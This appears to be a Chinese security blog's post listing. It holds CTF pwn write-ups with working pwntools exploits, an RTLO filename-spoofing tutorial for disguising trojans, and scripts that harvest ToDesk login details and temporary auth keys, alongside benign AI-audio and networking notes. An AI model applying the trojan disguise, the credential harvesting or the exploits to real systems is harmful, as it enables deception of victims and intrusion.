首页
实用工具
我的旅程
在线壁纸
更多
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索
1
【工具分享】逆向工具箱 - 次元剑
89,538 阅读
2
【技术分享】PE文件结构分析 ( RVA转FOA )
7,350 阅读
3
【技术分享】NASM x86 Assembly Language
5,982 阅读
4
【技术分享】CK竞技之王游戏辅助制作
3,725 阅读
5
【每日随记】天涯明月刀无限飞修改思路
2,816 阅读
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
Search
标签搜索
Windows
Web安全
Python3
Linux
逆向工程
CTF
红队技术
人工智能
C/C++
黑客工具
Go
密码学
二进制安全
数学
漏洞挖掘
Android
eNSP
渗透测试
蓝队技术
黑客大会
发光的神
累计撰写
160
篇文章
累计收到
103
条评论
首页
栏目
技术分享
CTF解题
英语笔记
数学笔记
网络通信
每日随记
攻防技术
工具分享
页面
实用工具
我的旅程
在线壁纸
✒️ 问题反馈
📦 文章统计
🌍 国内镜像
🎬 次元视界
📒 流水账本
🎨 在线 PS
推荐
🕵️ 开源情报
🌆 图片压缩
🍭 资产清洗
💡 我的作品
👤 关于站长
⚔️ 次 元 剑
搜索到
29
篇与
的结果
2023-09-26
【技术分享】2023年PolarCTF挑战赛Pwn篇
小狗汪汪汪以下命令可以以首字母简写。checksec woof拿到题目先查下,有哪些地方被保护了,这里就 NX 开启了保护其他没什么。NX 就是程序的栈段不允许执行代码,用来防止栈溢出攻击中植入的 shellcode 执行。gdb woof这里就直接用 gdb 进行调试了,先导入程序分析下。info functions // 查看函数表查看有哪些函数,发现有一个很敏感的函数 getshell 因为这道题跟小狗有关,这里我也加上了dog,这两个函数可以都看看。break main // 断点main函数 run这里我就在 main 函数下个断点吧,让它先跑起来。next跑起来后就单步步过,按 n 键一直往下走,直到执行让我们输入的时候,这里我正常输入几个 a 然后回车,程序就会停下来。再查看堆栈,这里 esp 是栈顶,ebp是栈底,如何溢出呢?只要我们填充垃圾数据 a * 13 字节就能到函数返回,这个时候只要在溢出的返回点传入一个地址,那么就会执行。在使用 pwntools 模块 payload 的构造就是这样的 b'a' * 13 + p32(0x804859b),因为程序是 32 位的所以 p32。cyclic 100实在不太懂怎么得出的 13 也可以用溢出的方式计算出地址的偏移量,这里我生成了100字节的垃圾数据,进行输入填充。cyclic -l 0x65616161好了,现在就可以用 python 进行编写 exp 了。from pwn import * local = True if local: io = remote('120.46.59.242', 2116) else: io = process('./woof') payload = b'a' * 13 + p32(0x804859b) io.sendline(payload) io.interactive()play这里就用 IDA 进行分析了。进入主函数可以发现这里调用了两个函数,init 和 play 。进入 init 可以发现只是做了初始化,没什么用直接看play函数。可以发现这里有个变量 var_30 它的大小是 30h 转换成 10进制那么就是 48,而 gets 用的变量正是 var_30 可以存储的大小也就是 48 个字节了。在 gets 上面还有一个 _read 函数,它的 buf 正好是 .bss 段,我们可以通过第一次输入 _read 写入 shellcode 第二次 gets 溢出到返回到 shellcode 执行。我们已经知道了是 48 然后程序是 64位的那么要 + 8, 48(缓冲区大小)+ 4(覆盖 rbp)+ 4(覆盖返回地址)。from pwn import * context(arch='amd64', os='linux') local = True if local: io = remote('120.46.59.242', 2072) else: io = process('./play') shellcode = asm(shellcraft.sh()) io.sendlineafter('playing.\n', shellcode) offset = 0x38 buf = 0x6010A0 payload = b'a' * offset + p64(buf) io.sendline(payload) io.interactive()首先通过,第一个函数 _read 写入 shellcode 到 .bss 段,然后通过 gets 溢出到返回执行 shellcode 最终得到交互。heap_Easy_Uaf通过 checksec 发现开了 Canary 和 NX 不慌先用 IDA 看看。main函数里主要有一个菜单输出,然后就是 switch 选择,可利用的函数是 Are 函数。发现一个关键的地方,那就是 system('/bin/sh'),它被一个判断给包裹住了,仔细观察 a = malloc 申请了一个空间,通过 strcpy 把 flag 字符串复制到申请的地址 a 中,然后 free 又释放掉了 a,指针 a 并没有被置为NULL,而下面又使用被释放的 a 那么就存在一个 uaf 漏洞。用 sendafter 模拟等出 Choice! 字符串就发送 5,就会执行 are 函数然后输入大小 0x68 十进制是 104,满足后再输入 Flag,就满足所有条件了。from pwn import * local = True if local: io = remote('120.46.59.242',2069) else: io = process('./heap_Easy_Uaf') io.sendafter(b'Choice!', b'5') io.sendafter(b'size :', b'104') io.sendafter(b'Content :', b'Flag') io.interactive()
2023年09月26日
663 阅读
0 评论
111 点赞
2023-08-16
【技术分享】RTLO 伪装程序后缀名
简介Unicode RTLO(Right-to-Left Override)是Unicode字符编码中的一种特殊字符,字符的作用是改变文本的文字流方向,可以使原本从左向右的文字流变为从右向左,我们可以通过这种办法伪装恶意可执行程序,这种办法会有小小的弊端自己发现吧。后缀伪装首先把文件扩展给勾上,方便我们看文件后缀,这里我做了个简单的 exe 程序做演示(可以是木马程序)。然后我们对程序 重命名,注意光标的位置是在 .exe 的前面,这个时候我们就可以插入特殊字符了。我们输入 gnp 也就是 png 的字母反转,重命名好后就可以了。你就会发现,变成了 png 图片格式了,而且还可以运行,再看看任务管理器,哈哈哈 是不是挺意外的进程中直接跑 png,其实有很多小例子,比如:exe 改 bat,改 dll 都是可以被执行的,在任务管理器中都可以看到的(这里就不过多演示了)。scr // 可以显示软件图标 com // 不能显示软件图标 bat cmd // 不能显示软件图标可以发现在内容中会有 exe 字样,是不是感觉很敏感,不怕不怕,以上是我收集到了一些可执行后缀(推荐 scr)。Go 实现package main import ( "fmt" "os" ) func main() { var oldfile string = "Panda.scr" var newfile string = "Panda\xe2\x80\xaegnp.scr" err := os.Rename(oldfile, newfile) if err != nil { fmt.Println("incorrect file naming.", err) } else { fmt.Println("Successful file renaming!") } }Python 实现import os oldfile = "Panda.scr" newfile = "Pandagnp.scr" try: os.rename(oldfile, newfile) print("Successful file renaming!") except OSError as err: print("Incorrect file naming.", err)利用总结1.利用这个办法伪装木马程序,如:pdf,zip,png 等文件后缀。2.利用压缩包自解压执行的功能,配合 RLO 实现压缩包执行伪装。Tips:内嵌一个执行,比如打开伪装的程序,程序运行后木马上线,那么再打开内置的 pdf文档,就不会被怀疑了。
2023年08月16日
614 阅读
0 评论
37 点赞
2023-06-05
【技术分享】Python3 图片转文字服务
简介闲的无聊,写了一个基于 easyocr 图片转文字,用到了异步和websocket进行传输,图片是用base64编码后进行上传一次性识别图片文字并返回结果给请求端,在上传过程中图片不会保存到服务器上,这样也就避免了文件上传的安全性,同样在后端也做了一些安全限制,至于更安全些可以采用其它的方式比如验证等等。后端服务代码import easyocr import base64 import hashlib import redis import asyncio import websockets import json max_size = 10 * 1024 * 1024 valid_formats = [ 'data:image/png;base64', 'data:image/jpg;base64' ] reader = easyocr.Reader(['ch_sim', 'en'], gpu=True) cache = redis.StrictRedis( host='127.0.0.1', port=6379, password='@D208522', ) async def ocr(websocket): async for message in websocket: try: if isinstance(message, str): message = json.loads(message) image_data = message.get('image') if not image_data or not any(image_data.startswith(fmt) for fmt in valid_formats): await websocket.send(json.dumps({'error': 'Invalid image format.'})) continue _, image_data = image_data.split(',', 1) image_bytes = base64.b64decode(image_data) if len(image_bytes) > max_size: await websocket.send(json.dumps({'error': 'Image too big.'})) continue cache_key = hashlib.md5(image_bytes).hexdigest() text = cache.get(cache_key) if text: await websocket.send(json.dumps({'status': 200, 'text': text.decode('utf-8')})) continue results = reader.readtext(image_bytes) text = '\n'.join([result[1] for result in results]) cache.set(cache_key, text, ex=3600) await websocket.send(json.dumps({'status': 200, 'text': text})) except Exception as e: print(e) await websocket.send(json.dumps({'status': 500, 'text': 'Unknown error.'})) async def start_server(host: str): async with websockets.serve(ocr, *host, max_size=max_size): await asyncio.Future() if __name__ == '__main__': host = ("127.0.0.1", 5000) asyncio.run(start_server(host))接口请求代码import asyncio import websockets import base64 import json async def send_image(): async with websockets.connect('ws://127.0.0.1:5000/') as websocket: with open('E:\\Desktop\\1.png', 'rb') as f: image_data = f.read() image_base64 = base64.b64encode(image_data).decode('utf-8') message = {'image': 'data:image/png;base64,' + image_base64} await websocket.send(json.dumps(message)) result = await websocket.recv() jsonText = json.loads(result) print(jsonText['text']) if __name__ == '__main__': asyncio.run(send_image())这里我截了一张文字图,用API的方式调用了下,返回的效果还是准确的,有些文字会识别不准确,但整体来说效果还是可以的。前端代码<!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>OCR Demo</title> <style> body { background-color: #f0f0f0; } .view { margin: 30px auto; max-width: 400px; padding: 50px; background-color: rgb(255, 255, 255); border-radius: 15px; box-shadow: 0px 3px 10px rgb(0 0 0 / 20%); } .container { display: flex; flex-direction: row; align-items: center; justify-content: space-between; margin-bottom: 20px; } #imageInput { display: none; } label[for="imageInput"] { background-color: #007bff; color: white; padding: 10px; border-radius: 5px; cursor: pointer; box-shadow: 0px 3px 10px rgb(0 0 0 / 20%); } button { width: 60px; background-color: #007bff; color: white; padding: 10px; border: none; border-radius: 5px; cursor: pointer; box-shadow: 0px 3px 10px rgb(0 0 0 / 20%); } button:hover { background-color: #d90000; } #result { border-radius: 10px; font-size: 16px; text-align: center; } </style> </head> <body> <div class="view"> <div class="container"> <label for="imageInput">上传图片</label> <input type="file" id="imageInput" /> <button onclick="submitImage()">提交</button> </div> <div id="result"></div> </div> <script> const websocket = new WebSocket('ws://127.0.0.1:5000'); function submitImage() { const file = document.getElementById("imageInput").files[0]; if (!file) return; const reader = new FileReader(); reader.onload = function (event) { const image_data = event.target.result; websocket.send(JSON.stringify({ image: image_data })); }; reader.readAsDataURL(file); } websocket.onmessage = function (event) { const response = JSON.parse(event.data); if ('text' in response) { document.getElementById('result').innerText = "识别结果:" + response.text; } else if ('error' in response) { document.getElementById('result').innerText = 'Error: ' + response.error; } }; </script> </body> </html>
2023年06月05日
125 阅读
0 评论
8 点赞
2023-06-01
【信息溯源】Todesk | 向日葵信息溯源
简介在实际的攻防演练中,常常会出现追踪攻击来源并反制取证的情景,假设我们已经成功连上了目标主机,目标主机如果安装了Todesk,那么恭喜你可以通过查看Todesk目录下的 config.ini 文件来获取一些登录等相关信息。Todesk 配置文件downloadtimes 下载Todesk的时间updatePassTime 最近一次使用时间Version Todesk版本号clientid 客户端IDLoginPhone 手机号LoginEmail 邮箱账户只要登录过Todesk,它会把一些信息写入到根目录下的,config.ini配置文件中。这个跟版本没关系的,即使是最新版的Todesk,也会写到配置文件中,向日葵 配置文件向日葵,感兴趣的可以去看一下,里面也有一些信息。Go Todesk 第一版(默认路径)// main.go package main import ( "bufio" "fmt" "os" "strings" ) func main() { config_file := "C:/Program Files/ToDesk/config.ini" file, err := os.Open(config_file) if err != nil { fmt.Printf("Failed to read config file: %v\n", err) return } defer file.Close() config := make(map[string]string) scanner := bufio.NewScanner(file) for scanner.Scan() { line := strings.TrimSpace(scanner.Text()) if len(line) == 0 || strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } parts := strings.SplitN(line, "=", 2) if len(parts) != 2 { continue } key, value := strings.TrimSpace(parts[0]), strings.TrimSpace(parts[1]) config[key] = value } download_times := config["downloadtimes"] version := config["Version"] client_id := config["clientId"] temp_auth_pass_ex := config["tempAuthPassEx"] resolution := config["Resolution"] update_pass_time := config["updatePassTime"] private_data := config["PrivateData"] login_phone := config["LoginPhone"] login_email := config["LoginEmail"] fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", login_email) fmt.Printf("手机号:%s\n", login_phone) fmt.Printf("下载时间:%s\n", download_times) fmt.Printf("最近一次使用ToDesk时间:%s\n", update_pass_time) fmt.Printf("当前屏幕尺寸:%s\n", resolution) fmt.Printf("Todesk版本号:%s\n", version) fmt.Printf("客户端ID:%s\n", client_id) fmt.Printf("私密数据:%s\n", private_data) fmt.Printf("临时认证密钥:%s\n", temp_auth_pass_ex) }你肯会说如果他没安装到默认路径怎么办呢?很简单以下是改进版自动查找路径。Go Todesk 第二版(自动搜索)// main.go package main import ( "bufio" "fmt" "os" "path/filepath" "strconv" "strings" ) const ( targetFilename = "config.ini" ) type ConfigInfo struct { DownloadTimes string Version string ClientID string TempAuthPass string Resolution string UpdatePassTime string PrivateData string LoginPhone string LoginEmail string } func visit(path string, info os.FileInfo, err error) error { if !info.IsDir() && info.Name() == targetFilename && strings.Contains(path, "ToDesk") { configFile, err := os.Open(path) if err != nil { fmt.Println(err) return nil } defer configFile.Close() configInfo := ConfigInfo{} scanner := bufio.NewScanner(configFile) for scanner.Scan() { line := scanner.Text() if strings.HasPrefix(line, ";") || strings.HasPrefix(line, "#") { continue } pair := strings.SplitN(line, "=", 2) if len(pair) != 2 { continue } key := strings.TrimSpace(pair[0]) value := strings.TrimSpace(pair[1]) switch key { case "downloadtimes": configInfo.DownloadTimes = value case "Version": configInfo.Version = value case "clientId": configInfo.ClientID = value case "tempAuthPassEx": configInfo.TempAuthPass = value case "Resolution": configInfo.Resolution = value case "updatePassTime": configInfo.UpdatePassTime = value case "PrivateData": configInfo.PrivateData = value case "LoginPhone": configInfo.LoginPhone = value case "LoginEmail": configInfo.LoginEmail = value default: } } fmt.Println("*********** 第一版 ***********") fmt.Printf("电子邮件账户:%s\n", configInfo.LoginEmail) fmt.Printf("手机号:%s\n", configInfo.LoginPhone) fmt.Printf("下载时间:%s\n", configInfo.DownloadTimes) fmt.Printf("最近一次使用ToDesk时间:%s\n", configInfo.UpdatePassTime) fmt.Printf("当前屏幕尺寸:%s\n", configInfo.Resolution) fmt.Printf("Todesk版本号:%s\n", configInfo.Version) fmt.Printf("客户端ID:%s\n", configInfo.ClientID) fmt.Printf("私密数据:%s\n", configInfo.PrivateData) fmt.Printf("临时认证密钥:%s\n", configInfo.TempAuthPass) os.Exit(0) } return nil } func isNumeric(s string) bool { _, err := strconv.ParseFloat(s, 64) return err == nil } func main() { driveLetters := []string{"C", "D", "E", "F", "G"} for _, driveLetter := range driveLetters { drivePath := fmt.Sprintf("%s:\\", driveLetter) err := filepath.Walk(drivePath, visit) if err != nil { fmt.Printf("访问 %s 目录时出错:%v\n", drivePath, err) } } }好啦,打包一下就能做一些骚操作了。(小声:自己发挥吧)Python 版本(自动搜索)import os import configparser target_filename = 'config.ini' target_strings = ['ToDesk'] drive_letters = ['C', 'D', 'E', 'F', 'G'] for drive_letter in drive_letters: drive_path = f"{drive_letter}:\\" for dirpath, dirnames, filenames in os.walk(drive_path): if target_filename in filenames and all(s in dirpath for s in target_strings): config_path = os.path.join(dirpath, target_filename) config = configparser.ConfigParser() config.read(config_path) download_times = config.get('ConfigInfo', 'downloadtimes') version = config.get('ConfigInfo', 'Version') client_id = config.get('ConfigInfo', 'clientId') temp_auth_pass = config.get('ConfigInfo', 'tempAuthPassEx') resolution = config.get('ConfigInfo', 'Resolution') update_pass_time = config.get('ConfigInfo', 'updatePassTime') private_data = config.get('ConfigInfo', 'PrivateData') login_phone = config.get('ConfigInfo', 'LoginPhone') login_email = config.get('ConfigInfo', 'LoginEmail') print(f"电子邮件账户:{login_email}") print(f"手机号:{login_phone}") print(f"下载时间:{download_times}") print(f"最近一次使用ToDesk时间:{update_pass_time}") print(f"当前屏幕尺寸:{resolution}") print(f"Todesk版本号:{version}") print(f"客户端ID:{client_id}") print(f"私密数据:{private_data}") print(f"临时认证密钥:{temp_auth_pass}") quit()运行效果
2023年06月01日
202 阅读
0 评论
14 点赞
2023-04-19
【每日随记】AI翻唱 SO-VITS-SVC 4.0
简介So-VITS-SVC是一个开源的离线项目,它使用 SoftVC 内容编码器提取源音频语音特征,然后直接将向量馈入 VITS 中进行转换,它能够保留原始声音的音高和语调特征,目采用NSF HiFiGAN作为声码器来解决声音中断等问题,适用于学术交流和用于通信和学习目的,声音模型的训练用户可以自行训练模型。使用步骤整合包里是没有模型的,这里我推荐一个训练好了的模型,到这里下载以上三个文件。 伊卡洛斯模型 下载好后,将这三个文件拖入到 logs\44k 文件内,这样初始化 so-vits-svc 才会有模型文件加载。安装包是整合好了的,没有什么地方要改的,唯一一个就是给FFmpeg添加环境变量,让so-vits-svc能调用到它,将FFmpeg所在的路径添加到path环境变量中即可。好了就是启动web界面的so-vits-svc,启动成功后会自动打开浏览器。按照步骤设置好后就点击加载模型,模型加载成功后就可以上传音频了。音频使用VUR5进行分离伴奏和人声以及消除音频的混响和声,也就是上传一段纯净人声音不要有杂音和伴奏。视频效果{dplayer src="https://www.52tt.pro/usr/uploads/2023/04/AI.mp4"/}这个开源伊卡洛斯模型只有24000step,继续训练下去效果可能会更好点。在线翻唱 | 在线合成 | 训练教程AI - 女生 #audio-player { display: block; margin-right: 10px; width: 100%; max-width: 450px; height: 50px; background-color: #f1f1f1; border-radius: 10px; } AI - 君若 AI - 自己 训练了自己的声音,一个晚上笔记本跑了32000步,效果还是挺好的,数据采集就是声音偏中低,所以高音它唱不了(哭笑)。模型训练将处理好的数据集,创建一个文件例如:tianyi放入到 dataset_raw 文件夹里,音频数据最好是8MB一个音频(数据集越多越好),大小可以用格式工厂进行转换,完成后最后一步点击识别数据集,等待一会就好。默认写入配置文件,就可以开始训练了,训练途中不想训练了可以停止,下一次可点击继续上一次的训练,当模型跑到10000步就可以点击训练聚类模型,当然不一定要10000步才算好模型,看自己啦模型好不好要自己测试的。Py3 API调用import requests import soundfile # Set up the URL of the Flask app url = "http://127.0.0.1:6842/voice" input_filename = "1.wav" input_data, sr = soundfile.read(input_filename) # Set the desired pitch change and speaker ID params = { "fPitchChange": 1.5, "sampleRate": sr, "sSpeakId": 0 } # Send the POST request with the audio file and parameters with open(input_filename, "rb") as f: response = requests.post(url, data=params, files={"sample": f}) # Save the modified audio file returned by the Flask app output_filename = "output.wav" with open(output_filename, "wb") as f: f.write(response.content)翻唱API服务import torch, soundfile, io import torchaudio, logging from flask import Flask, request, send_file from flask_cors import CORS from inference.infer_tool import Svc, RealTimeVC app = Flask(__name__) CORS(app) logging.getLogger('numba').setLevel(logging.WARNING) @app.route("/voice", methods=["POST"]) def voice_change_model(): request_form = request.form wave_file = request.files.get("sample", None) # 变调信息 f_pitch_change = float(request_form.get("fPitchChange", 0)) # DAW所需的采样率 daw_sample = int(float(request_form.get("sampleRate", 0))) speaker_id = int(float(request_form.get("sSpeakId", 0))) # http获得wav文件并转换 input_wav_path = io.BytesIO(wave_file.read()) # 模型推理 if raw_infer: # out_audio, out_sr = svc_model.infer(speaker_id, f_pitch_change, input_wav_path) out_audio, out_sr = svc_model.infer(speaker_id, f_pitch_change, input_wav_path, cluster_infer_ratio=0, auto_predict_f0=False, noice_scale=0.4, f0_filter=False) tar_audio = torchaudio.functional.resample(out_audio, svc_model.target_sample, daw_sample) else: out_audio = svc.process(svc_model, speaker_id, f_pitch_change, input_wav_path, cluster_infer_ratio=0, auto_predict_f0=False, noice_scale=0.4, f0_filter=False) tar_audio = torchaudio.functional.resample(torch.from_numpy(out_audio), svc_model.target_sample, daw_sample) # 返回音频 out_wav_path = io.BytesIO() soundfile.write(out_wav_path, tar_audio.cpu().numpy(), daw_sample, format="wav") out_wav_path.seek(0) return send_file(out_wav_path, download_name="temp.wav", as_attachment=True) if __name__ == '__main__': # 启用则为直接切片合成,False为交叉淡化方式 # vst插件调整0.3-0.5s切片时间可以降低延迟,直接切片方法会有连接处爆音、交叉淡化会有轻微重叠声音 # 自行选择能接受的方法,或将vst最大切片时间调整为1s,此处设为Ture,延迟大音质稳定一些 raw_infer = True model_name = "logs/44k/G_3200.pth" config_name = "logs/44k/config.json" cluster_model_path = "logs/44k/kmeans_10000.pt" svc_model = Svc(model_name, config_name, cluster_model_path=cluster_model_path) svc = RealTimeVC() app.run(port=6842, host="0.0.0.0", debug=False, threaded=True){cloud title="so-vits-svc整合包" type="bd" url="https://pan.baidu.com/s/1JXDC1wjeRKcnP3Pew2cw_w?pwd=2085" password=""/}
2023年04月19日
116 阅读
0 评论
9 点赞
2023-04-07
【每日随记】AudioSer 语音识别API服务
简介最近写的项目,一个基于sherpa-ncnn深度学习语音识别API系统,它可以将上传的.wav格式的语音文件进行转换为文本,并返回给客户端识别的语音结果,支持多种语言和口音识别,转换为文本支持大规模并发请求,通过缓存机制避免重复处理相同的文件。Github项目安装步骤点击页面右上方的 "Code" 按钮,选择 "Download ZIP" 选项,将项目压缩包下载至本地电脑,解压缩下载的压缩包得到项目文件夹进入项目文件夹。在项目根目录执行以下命令来安装需要的依赖库。pip install -r requirements.txt以上步骤操作完成没有任何错误的话,在终端运行以下命令就能正常运行服务了。python AudioSer.py
2023年04月07日
69 阅读
0 评论
2 点赞
2023-03-30
【每日随记】 Whisper 离线语音识别搭建
简介whisper是一种通用的语音识别模型Python3编写的,它在不同音频的大型数据集上进行训练,也是一个多任务模型,可以执行多语言语音识别、语音翻译和语言识别,搭建在本地能实现离线语音识别,准确度还可以使用起来很方便以。环境搭建首先建议你下载Python3的版本在 3.7.0 ~ 3.10.0 之间的版本,如果不是在安装过程中可能会遇到些问题,有些第三方库没有更高的版本支持,可能会导致安装失败,不知道如何安装Python3的小伙伴,可以参考这篇文章:Py3安装教程 。 Github项目 在安装好Python3之后,为了避免不必要的麻烦,请使用管理员身份运行终端,并执行以下命令以安装Whisper。pip install whisper我已经成功安装了whisper,现在需要下载PyTorch,你可以从官网自行下载并安装,也可以根据自己的需求选择相应的PyTorch版本进行下载,我用的是CPU版本的你也可以用以下命令进行安装。pip install torch torchvision torchaudio -i https://mirrors.aliyun.com/pypi/simple/ Git国内镜像 再安装Git,安装完后配合Git下载 whisper 按顺序来在终端执行以下两条命令,过程可能有点慢需要耐心等待。pip install git+https://github.com/openai/whisper.gitpip install --upgrade --no-deps --force-reinstall git+https://github.com/openai/whisper.git最后一步安装ffmpeg配置到环境变量中,让whisper需要调用的时候不会报错。ffmpeg官网 以上安装步骤完成后在终端输入 whisper 看看是否能运行起来。whisper E:\Desktop\5.wav # 音频传参识别whisper E:\Desktop\5.wav --model medium # 离线模型识别whisper默认使用的是base模型,还有一个 medium 模型是需要下载的,运行以上命令会自动下载模型,更多方式请参考官方文档。Python3调用import whisper model = whisper.load_model("base") result = model.transcribe("audio.mp3") print(result["text"])import whisper model = whisper.load_model("base") audio = whisper.load_audio("audio.mp3") audio = whisper.pad_or_trim(audio) mel = whisper.log_mel_spectrogram(audio).to(model.device) _, probs = model.detect_language(mel) print(f"Detected language: {max(probs, key=probs.get)}") options = whisper.DecodingOptions() result = whisper.decode(model, mel, options) print(result.text)
2023年03月30日
41 阅读
0 评论
7 点赞
2023-01-21
此内容被密码保护
加密文章,请前往内页查看详情
2023年01月21日
218 阅读
0 评论
13 点赞
2022-11-03
【网络通信】eNSP 学习记录
静态路由实验实验拓扑图实验目的实现静态路由R1和R5进行通信配置命令// R1路由器配置 system-view // 进入系统视图 interface g0/0/0 // 进入接口 ip address 192.168.1.1 24 // 配置ip地址,命令相同配置好其它路由器 //先配置R1到R3 ip route-static 192.168.2.0 24 192.168.1.2 // 指定到 192.168.2.0 从 192.168.1.2 出去 现在我们可以过去了但需要回来所以要在R3里配置 回来的静态路由 ip route-static 192.168.1.0 24 192.168.2.2 // 这是回来的路由配置 命令相同修改下配置下面机个路由器即可 实验效果用户登录实验官方介绍华为的super 命令设置的口令用于低级别用户向高级别用户切换时进行验证,类似于 UNIX 系统和 Linux 系统中从普通用户转换到 root 帐户时须输入 super 进行切换。华为网络设备的命令级别共分为 4 级,分别为访问级( 0 级)、监控级( 1 级)、系统级( 2 级)和管理级( 3 级),当低级别用户向高级别切换时. 输入命令 super [level],此时如果设置了super 的password,则只有验证通过后切换才能实现 。super 的口令配置也有明文和暗文两种方式,具体命令为 super password simple ( 明文 ),super password cipher ( 暗文 ) 。如果用户想要实现对通过 console 、 telnet 或 web 方式访问华为交换设备的身份验证,则需要在相应的虚拟端口配置验证信息。(1) console访问 方式:需要在 user-interface con 0 模式下配置 authentication-mode 。(2) ssh、telnet访问 方式:需要在 user-interface vty 0 4 模式下配置 authentication-mode 。(3) web访问 方式:需要启用 web 管理服务,并要有 local-user 配置的用户和密码。console口配置user-interface console 物理接口 // 只有一个 0 ~ 4 默认不认证 vty 虚拟接口 // 自己定义想多少就多少0 默认认证 password 默认的权限是3 //没有修改的情况下 user-interface console 0 // 进入console口 user privilege level 0 // 修改等级 // 完整代码 <Huawei>system-view // 进入系统视图 [Huawei]aaa // 进入3a认证 [Huawei-aaa]local-user jw1201 privilege level 0 password cipher 123456 // 配置两条命令 [Huawei]user-interface console 0 // 进入console [Huawei-ui-console0]authentication-mode aaa // 修改认证模式aaa // 默认的认证模式是不认证 [Huawei-ui-console0]q // 退出 [Huawei]q // 退出 <Huawei>super 3 // 进入等级不够只能使用用户视图,跳到3等级 无密码直接进入 [Huawei-aaa]local-user jw1201 password cipher 123456 [Huawei-ui-console0]authentication-mode aaa // 更改验证模式 配置telnet用Telnet远程进入到交换机的端口中 [Router]user-interface vtycipher 用于对密码加密方式,输入时密码时,命令行不显示密码privilege level 用于给与此用户拥有的权限等级(等级为0-15,15为最高权限)service-type telnet 表示此用户用于Telnet服务创建用户命令:[Router-aaa]local-user 创建的用户名 password cipher 密码权限设置命令:[Router-aaa]local-user 需要修改权限的用户名 privilege level 权限等级[Huawei]user-interface vty 0 1 // 进入虚拟接口 [Huawei-ui-vty0-1]authentication-mode aaa // 修改模式为3a [Huawei-aaa]local-user jw1201 privilege level 3 password cipher 123456// 一行代码设置登录账号密码和等级 [Huawei-aaa]local-user jw1201 service-type telnet // 设置用户服务类型 [Huawei-aaa]q // 退出 [Huawei]telnet server enable // 开启telnet服务配置ssh// 生成rsa密匙:rsa local-key-pair create [server]rsa local-key-pair create // 服务器配置vty用户界面,设置验证方式为aaa,指定协议为ssh [server]user-interface vty 0 4 [server-ui-vty0-4]authentication-mode aaa [server-ui-vty0-4]protocol inbound ssh // 在aaa视图创建ssh用户huawei密码huawei123 [server]aaa [server-aaa]local-user huawei service-type ssh [server-aaa]local-user huawei password cipher huawei123 // 设置ssh用户的认证为密码 [server]ssh user huawei authentication-type password // 开启stelnet服务,默认关闭 server]stelnet server enable [Huawei]dis ssh user-information // 查看是否开启ssh // 接下来在客户端尝试连接 // 第一次登陆需要开启ssh认证 [client]ssh client first-time enable // 连上后,ssh用户的权限连系统视图都无法进入。 // 再给ssh用户huawei增加权限!(当然在添加用户时就可以配置) [server]aaa [server-aaa]local-user huawei privilege level 15 //这里给的最高权限VLAN通信实验实验拓扑图实验目的实现不同vlan之间的通信。首先要知道不同vlan之间的主机是无法实现通信的,所以必须通过三层路由设备进行路由转发才能将报文从一个vlan转发到另一个vlan。vlan技术可以将一个大的局域网划分成多个小局域网,并且隔离了广播域,使不同广播域的用户不能进行通信。有三种方式:路由器物理接口实现路由子接口进行实现VLAN IF技术实现实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 交换机配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-sw1 // 改个名字 [actdream-sw1]undo info-center enable // 关闭提示信息 [actdream-sw1]vlan batch 10 20 // 创建vlan 10 20 [actdream-sw1]int e0/0/2 // 进入e0/0/2接口 [actdream-sw1-Ethernet0/0/2]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/2]port default vlan 10 // 配置接口属于vlan10 [actdream-sw1]int e0/0/3 // 进入e0/0/3接口 [actdream-sw1-Ethernet0/0/3]port link-type access // 配置接口为access [actdream-sw1-Ethernet0/0/3]port default vlan 20 // 配置接口属于vlan20 [actdream-sw1]int e0/0/1 // 进入e0/0/1接口 [actdream-sw1-Ethernet0/0/1]port link-type trunk // 配置接口为trunk [actdream-sw1-Ethernet0/0/1]port trunk allow-pass vlan all // 允许所有的vlan通过 // 路由器配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/0.1 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.1]ip add 192.168.1.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.1]dot1q termination vid 10 // 封装下给vlan10 [actdream-ar1-GigabitEthernet0/0/0.1]arp broadcast enable // 开启arp广播功能 [actdream-ar1]int g0/0/0.2 // 进入子接口 [actdream-ar1-GigabitEthernet0/0/0.2]ip add 192.168.2.254 24 // 给子接口配置ip地址 [actdream-ar1-GigabitEthernet0/0/0.2]dot1q termination vid 20 // 封装下给vlan20 [actdream-ar1-GigabitEthernet0/0/0.2]arp broadcast enable // 开启arp广播功能2.配置好了尝试PC1 ping PC2 可以看见是能通信的。实验效果RIP动态路由实验实验拓扑图实验目的实现动态路由不同网段间的通信。rip协议,通过启用rip协议,路由器可以更好的学习相邻的路由表,更好的适应多变且庞大的网络环境。实验步骤1.先手动配置下主机的IP地址子网掩码和默认网关。// 路由器ar1配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar1 // 改个名字 [actdream-ar1]int g0/0/1 // 进入接口 [actdream-ar1-GigabitEthernet0/0/1]ip add 192.168.1.254 24 // 配置网关地址 [actdream-ar1-GigabitEthernet0/0/1]int g0/0/0 // 进入接口 [actdream-ar1-GigabitEthernet0/0/0]ip add 192.168.3.1 24 // 配置R1与R2路由器通信的ip [actdream-ar1]rip // 启用rip [actdream-ar1-rip-1]network 192.168.1.0 // 宣告网段 [actdream-ar1-rip-1]network 192.168.3.0 // 宣告网段 // 路由器ar2配置 <Huawei>system-view // 进入系统视图 [Huawei]sysname actdream-ar2 // 改个名字 [actdream-ar2]int g0/0/1 [actdream-ar2-GigabitEthernet0/0/1]ip add 192.168.2.254 24 // 配置网关地址 [actdream-ar2]int g0/0/0 // 进入接口 [actdream-ar2-GigabitEthernet0/0/0]ip add 192.168.3.2 24 // 配置R2与R1路由器通信的ip [actdream-ar2]rip // 启用rip [actdream-ar2-rip-1]network 192.168.3.0 // 